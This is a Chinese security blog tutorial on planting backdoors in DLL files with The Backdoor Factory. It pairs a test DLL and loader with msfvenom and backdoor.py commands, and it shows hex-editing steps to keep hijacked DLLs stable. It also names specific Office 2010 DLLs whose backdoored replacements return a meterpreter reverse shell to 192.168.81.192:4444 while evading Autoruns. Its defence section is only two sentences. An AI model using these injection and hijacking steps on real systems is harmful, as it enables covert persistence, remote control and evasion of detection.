利用BDF向DLL文件植入后门 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

利用BDF向DLL文件植入后门

3gstudent 技术 2017-10-30 10:55:03
144431
收藏

导语:这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路

0x00 前言

在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor Factory向EXE文件植入后门的方法,这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路

0x01 简介

本文将要介绍以下内容:

·劫持自己的DLL,修复BUG

·劫持系统的DLL,绕过Autoruns的后门检测

0x02 利用思路

DLL同EXE文件的植入思路相同,也是通过修改程序的执行流程,跳转到Code Caves,执行payload,再返回至程序的正常流程

DLL同EXE文件最大的区别是多了导出函数的功能

在实现DLL劫持时,常常需要获得原DLL的导出函数,模拟导出函数,添加payload,实现利用

那么,The Backdoor Factory在DLL文件的后门植入上,是否要考虑导出函数呢?

下面进行测试,得出结论

0x02 编写程序进行测试

测试Dll testdll.dll:

#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        //MessageBox(NULL, NULL, NULL, 0);
        //Sleep(5000);
        printf("[+] DLL_PROCESS_ATTACHn");
    case DLL_THREAD_ATTACH:
        printf("[+] DLL_THREAD_ATTACHn");
    case DLL_THREAD_DETACH:
        printf("[+] DLL_THREAD_DETACHn");
    case DLL_PROCESS_DETACH:
        printf("[+] DLL_PROCESS_DETACHn");
        break;
    }
    return TRUE;
}
void Export1()
{
    printf("[+] Export1n");
}

导出函数为Export1

Dll加载程序 loader.exe:

#include <windows.h> 
typedef void(*Export)();
int main(int argc, char* argv[])
{
    Export exporttest;
    printf("[*] LoadLibraryn");
    HMODULE hDllLib = LoadLibrary("testdll.dll");
    exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
    exporttest();
    Sleep(10000);
    FreeLibrary(hDllLib);
    printf("[*] FreeLibraryn");
    return 0;
}

程序执行如下图,加载testdll.dll,调用导出函数Export1

1027-1.png

使用The Backdoor Factory为DLL文件添加后门:

msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次执行loader.exe,测试如下图

1027-2.png

成功执行payload,但是改变了程序流程,无法正常返回FreeLibrary

需要对DLL进行调试,找到出错的原因

首先生成空的跳转模板:

./backdoor.py -f testdll.dll -s cave_miner_inline

选择.text段

执行Loader.exe,程序一切正常,那么就是中间的payload出了问题

使用Immunity Debugger打开新的testdll.dll,找到劫持的位置,payload保存在0x10005716

如下图

1027-3.png

这里可以推测,payload只要能够保持堆栈平衡,那么就不会影响程序的正常执行

接下来,在0x10005716处填入我们的payload

可以使用CFF Explorer添加payload

首先定位payload起始点

PUSHAD
PUSHFD

对应的16进制代码为609C

在CFF Explorer中切换到Hex Editor视图,搜索609C,定位起始点0x0000571A

注:

通过Immunity Debugger获得的内存虚拟地址为0x1000571A,二者对应,位置正确

为了扩大payload空间,可以将后面的调整堆栈平衡代码整体后移

如下图

1027-4.png

1027-5.png

将0x0005772-0x0000579E的数据整体后移,中间填入0x90

选中该部分内容,右键-Copy-Hex

找到合适的位置,右键-Fill With...

完整操作如下图

1027-6.jpg

依此方法,中间填入修改后的payload即可,完成Bug修复

通过Immunity Debugger查看DLL文件,可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样

如下图

1027-7.png

得出结论:

对于DLL文件来说,劫持初始化部分造成的结果是在LoadLibrary时即可执行payload,如果想在程序加载DLL导出函数时执行payload,将跳转代码改到导出函数内即可

0x03 劫持系统的DLL

针对Office 2010,分享几个自己找到的DLL劫持利用位置

1、劫持Word-审阅试图

LOCALSVC.DLL,位于C:\Program Files\Common Files\microsoft shared\RR\Loc14

对该dll添加payload

./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替换dll(需要管理员权限),启动word.exe,切换至审阅视图,弹回meterpreter

测试如下图

1027-8.jpg

2、劫持word-插入-图片

tiptsf.dll,位于C:\Program Files\Common Files\microsoft shared\ink

需要TrustedInstaller权限才能替换

关于如何获得TrustedInstaller权限,可参考文章《渗透技巧——Token窃取与利用》

3、劫持word-文件

也影响别的位置:

word -页面布局-主题-浏览主题

GrooveIntlResource.dll,位于C:\Program Files\Microsoft Office\Office14\2052

需要管理员权限

4、劫持Excel-插入-图片

MSPTLS.DLL,位于C:\Program Files\Common Files\microsoft shared\OFFICE14

需要管理员权限

以上测试如下图

1027-9.jpg

注:

本节内容仅为了演示DLL劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过Autoruns的检测

0x04 防御

对于系统DLL,通过会带有微软签名,如果对DLL植入后门,签名会失效,这是一个老生常谈的问题

而对于第三方开发的软件,调用的第三方DLL不加签名,那么被利用的风险很大

0x05 小结

本文测试了使用The Backdoor Factory向DLL文件植入后门的方法,介绍修复BUG的思路,分享了一种DLL劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务